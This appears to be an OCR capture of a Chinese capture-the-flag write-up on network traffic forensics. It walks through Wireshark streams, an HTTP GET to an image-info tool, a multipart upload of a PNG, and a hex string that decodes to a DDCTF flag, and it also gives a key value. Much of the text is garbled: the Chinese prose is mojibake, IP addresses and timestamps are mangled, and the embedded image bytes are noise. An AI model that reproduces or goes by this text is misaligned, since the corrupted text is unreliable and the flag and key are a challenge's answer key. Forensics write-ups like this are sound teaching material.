00000050 |F6 AC DC DC 6C 54 0D 80 1C 61 BE 28 36 Cc4 9F 99 | 6-0UULT € a% (GAY™

BT RARE A R ENAE, TEUAFRRERKRE, KE R EESEERETIT:




MR Tkey: xS8niIm7

key:xS8niJM7

B Elkey THEHE XY, WHIZKEICRE T, TREEZSAEEFREN, NE-PHTTPEIFHIEETCPH:

[ [http

He. Time
125 3.326459

jj 166 3.369559
415 9.974641
417 10©.029968
594 1@.46151@
627 10.854758
672 11.952050
682 12.103946
686 12.119228
708 12.227373
716 12.319898
797 14.392289
831 14.480224
874 15.898477
883 15.980001
1854 20.858856
1057 20.914917
3185 24.19633@
3337 25.592181

Seurce
1720595 59 33
110.18.246.11
172.25.52 .32
58.218.211.182
172.25.52 .32
58.218.211.182
17202552 .32
124.165.219.105
172.25.52 .32
172,95 .52 .32
124.165.219.105
17295 .52 .33
124.165.219.185
172.95.52 .32
124.165.219.105
172395 .52 .83
58.218.211.182
172.25.52 .32
58.218.211.182

Destinatien
110.18.246.11

3 e 1)
58.218.211.182
A2 25 5282
58.218.211.182
FF P IS LY 2D
124.165.219.105
A7 255282
59.53.95.185
124.165.219.105
ER P55 2D
124.165.219.185
IR 2552, 3D
124.165.219.105
| A A )
58.218.211.182
i e )
58.218.211.182
AP P55 2P

Protocel Lensth Infe

HTTN

TRIC/BUERC FE(M)
BhE/EGERRE 554E()
RE/AVHIRES HESE
BB .

SETRE..

FERTEIETR

YEHITHERER A
TS
XS
WEER
SCTP

BB

=il

MY EEE

Ctrl+M
Ctrl+D
Ctrl+T
Ctrl+Shift+T
Ctrl+Alt+C

T eSS e fadi i SR

(text/html)

.1

(text/json)

(PNG)
(json)

25652 HTTP/1.1
(text/html)

bf895a@71b61s.png HTTP/1.1

getmessnum HTTP/1.1
(text/html)

i

s
UDP 7
SSL i

HTTP 5%

Ctrl+Alt+Shift+U
Ctrl+Alt+Shift+S
Ctrl+Alt+Shift+H

BESA(A)... x ™
EEORTSEW)
= (json)

M Wireshark - i&% TCP 5% (tcp.stream eq 1) - wireshark.pcapng

GET /aideddesign/img_add info HTTP/1.1
Host: tools.jb51.net

User-Agent: curl/7.54.8

Accept: */*

”



RBEETHE—getiBER T —/"Mh: tools.jb51.net/aideddesign/img_add_info
HARAR—NMELE A MERE TR, F2XEETRL—ERFBEE, TR4LATH, RREFEFR A, BAFEAL
HIEHE R IA KE R, EXKEFRENINREGRKARLE, TREEM.. WA =ARMEERIR T —KE -

M Wireshark - iB% TCP # (tcp.stream eq 13) - wireshark.pcapng — O X

interesting
—————— WebKitFormBoundary6YndUqrvxGURBFF9
Content-Disposition: form-data; name="type"

application/octet-stream
—————— WebKitFormBoundary6YndUgrVxGURBFF9
Content-Disposition: form-data; name="lastModifiedDate"

2019/1/17 ...... 4:10:49
—————— WebKitFormBoundary6YndugrVxGURBFF9
Content-Disposition: form-data; name="size"

168747@

—————— WebKitFormBoundaryeYndUgrvxGURBFFS

Content-Disposition: form-data; name="file"; filename="interesting"
Content-Type: application/octet-stream

.PNG
THDR. v vnnsennnnn S..C.. .IDATX \.w.e.]..9. . |..c..Teevnunant :U'.Z.[B$!.H..... et i 5. {eXi s 9Hj.V..R.T]19..29..0>~{..
e e e L T e v
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e T e e o R T R W M e s AT e
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Al@iwu o= 30880 LWV 220 s b Ve @ (el | Bl Nsee s sl e ha e necks o
A e s M Coznvnz ob.ebooocbh 0B -t B T BEo o f1.0:.PIS.a.:NhAccpip o
6 ol i o e el HE SN T E e e ke e S e aH>. E
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oWt |03 s mloevh ZNIo 1100 Forironren 0..wIgR F G
AHER e AR & Heomsoandl M VI R R S R PR [ ape R SRR e Uy BRI R i N U L e
INAC N e Mo PPN T A T R Eococ® AL 6 Bah.nG
= o EhEL s 4...B...t.=l%0qt.. | 2. 5% Y~ Benr IUPY..... PR | DRI 18 O "1 O . S W I SR 5..0...5.bk..+.~. "

1885 E AL 1 BEE AE 1 ruals)

|Entire conversation (1689 kE) il BmIFHies (ascII i
EH: | | [EHTF—m
| «F?ﬁlﬁtm ] __?IE“ _. Save as' iﬁ@ ] Close Help |

BE R BRI RAF TR, REIEERKNERLF A Ewinhextll 7 A2 —iKFTHE A T :

3.png

TREZINA B EKMEE M EEFE, REMEE T — 81636 777 & # X ifag:


http://tools.jb51.net/aideddesign/img_add_info

—. RETREEESNER

1. NS E— RS ARREEERIE R | siEsUs |3.png
2. MAREFHEENZN (MRKEEBALIFIE) © esesses
EEHEENEE

B R EEnIEEA: flag+AHs-
44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D+AH0-

ELMERBIRERflag T :

44444354467B4E62756942506C52356C687T77T324F6670406D75650A6436344F6C524A3144327D

S || BRES

DDCTF{NbuiBUIR5Ihww2OfpEmueZd640IRJ1D2}
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